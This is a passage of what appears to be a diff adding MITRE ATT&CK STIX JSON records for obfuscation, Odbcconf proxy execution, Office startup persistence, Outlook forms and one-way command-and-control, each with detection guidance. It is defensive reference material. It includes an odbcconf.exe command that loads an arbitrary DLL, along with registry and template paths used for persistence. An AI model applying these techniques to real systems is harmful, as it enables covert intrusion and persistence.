[ + "Command: Command Execution", + "File: File Metadata", + "File: File Creation", + "Process: Process Creation" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-20T16:33:13.472Z", + "created": "2017-05-31T21:30:32.662Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis", + "Signature-based detection", + "Host intrusion prevention systems", + "Application control", + "Log analysis", + "Application control by file name or path" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ", + "x_mitre_contributors": [ + "Red Canary", + "Christiaan Beek, @ChristiaanBeek" + ], + "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1027", + "external_id": "T1027", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/267.html", + "external_id": "CAPEC-267", + "source_name": "capec" + }, + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + }, + { + "source_name": "Linux/Cdorked.A We Live Security Analysis", + "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.", + "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/" + }, + { + "source_name": "Carbon Black Obfuscation Sept 2016", + "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.", + "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/" + }, + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Revoke-Obfuscation July 2017", + "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf" + }, + { + "source_name": "PaloAlto EncodedCommand March 2017", + "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/" + }, + { + "source_name": "GitHub Revoke-Obfuscation", + "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.", + "url": "https://github.com/danielbohannon/Revoke-Obfuscation" + }, + { + "source_name": "GitHub Office-Crackros Aug 2016", + "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.", + "url": "https://github.com/itsreallynick/office-crackros" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Obtain Capabilities", + "x_mitre_data_sources": [ + "Malware Repository: Malware Metadata", + "Malware Repository: Malware Content", + "Certificate: Certificate Registration", + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T12:26:22.831Z", + "created": "2020-10-01T01:56:24.776Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", + "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1588", + "external_id": "T1588", + "source_name": "mitre-attack" + }, + { + "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html", + "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", + "source_name": "NationsBuying" + }, + { + "source_name": "PegasusCitizenLab", + "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.", + "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" + }, + { + "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/", + "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", + "source_name": "DiginotarCompromise" + }, + { + "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop", + "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", + "source_name": "FireEyeSupplyChain" + }, + { + "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", + "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", + "source_name": "Analyzing CS Dec 2020" + }, + { + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "source_name": "Splunk Kovar Certificates 2017" + }, + { + "url": "https://www.recordedfuture.com/cobalt-strike-servers/", + "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.", + "source_name": "Recorded Future Beacon Certificates" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Odbcconf", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-20T22:39:00.717Z", + "created": "2020-01-24T15:01:32.917Z", + "id": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071", + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/008", + "external_id": "T1218.008", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017", + "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.", + "source_name": "Microsoft odbcconf.exe" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", + "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.", + "source_name": "LOLBAS Odbcconf" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/", + "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.", + "source_name": "TrendMicro Squiblydoo Aug 2017" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "source_name": "TrendMicro Cobalt Group Nov 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Office Application Startup", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification", + "Module: Module Load", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-15T20:18:31.112Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)", + "x_mitre_contributors": [ + "Nick Carr, Mandiant", + "Microsoft Threat Intelligence Center (MSTIC)", + "Sahar Shukrun", + "Praetorian", + "Loic Jaquemet", + "Ricardo Dias" + ], + "x_mitre_detection": "Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1137", + "external_id": "T1137", + "source_name": "mitre-attack" + }, + { + "url": "https://github.com/sensepost/ruler", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "source_name": "SensePost Ruler GitHub" + }, + { + "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/", + "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.", + "source_name": "TechNet O365 Outlook Rules" + }, + { + "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746", + "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.", + "source_name": "CrowdStrike Outlook Forms" + }, + { + "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943", + "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.", + "source_name": "Outlook Today Home Page" + }, + { + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "source_name": "Microsoft Detect Outlook Forms" + }, + { + "url": "https://github.com/sensepost/notruler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "source_name": "SensePost NotRuler" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-08-16T21:27:10.873Z", + "name": "Office Template Macros", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_version": "1.1", + "created": "2019-11-07T20:29:17.788Z", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", + "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1137/001", + "external_id": "T1137.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Change Normal Template", + "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.", + "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea" + }, + { + "source_name": "MSDN VBA in Office", + "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.", + "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office" + }, + { + "source_name": "enigma0x3 normal.dotm", + "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.", + "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/" + }, + { + "source_name": "Hexacorn Office Template Macros", + "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.", + "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/" + }, + { + "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique", + "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", + "source_name": "GlobalDotName Jun 2019" + }, + { + "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746", + "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.", + "source_name": "CrowdStrike Outlook Forms" + }, + { + "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943", + "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.", + "source_name": "Outlook Today Home Page" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Office Test", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1137/002", + "external_id": "T1137.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Hexacorn Office Test", + "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.", + "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/" + }, + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification", + "Module: Module Load" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-16T21:35:17.618Z", + "x_mitre_system_requirements": [ + "Office 2007, 2010, 2013, and 2016" + ], + "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.", + "created": "2019-11-07T19:44:04.475Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "One-Way Communication", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-26T23:26:10.109Z", + "created": "2020-03-14T22:45:52.963Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8", + "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1102/003", + "external_id": "T1102.003", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Outlook Forms", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-16T21:29:19.697Z", + "created": "2019-11-07T20:06:02.624Z", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", + "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1137/003", + "external_id": "T1137.003", + "source_name": "mitre-attack" + }, + { + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Forms" + }, + { + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "source_name": "Microsoft Detect Outlook Forms" + }, + { + "url": "https://github.com/sensepost/notruler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "source_name": "SensePost NotRuler" + } + ] + }, + { + "object_marking_refs": [ + 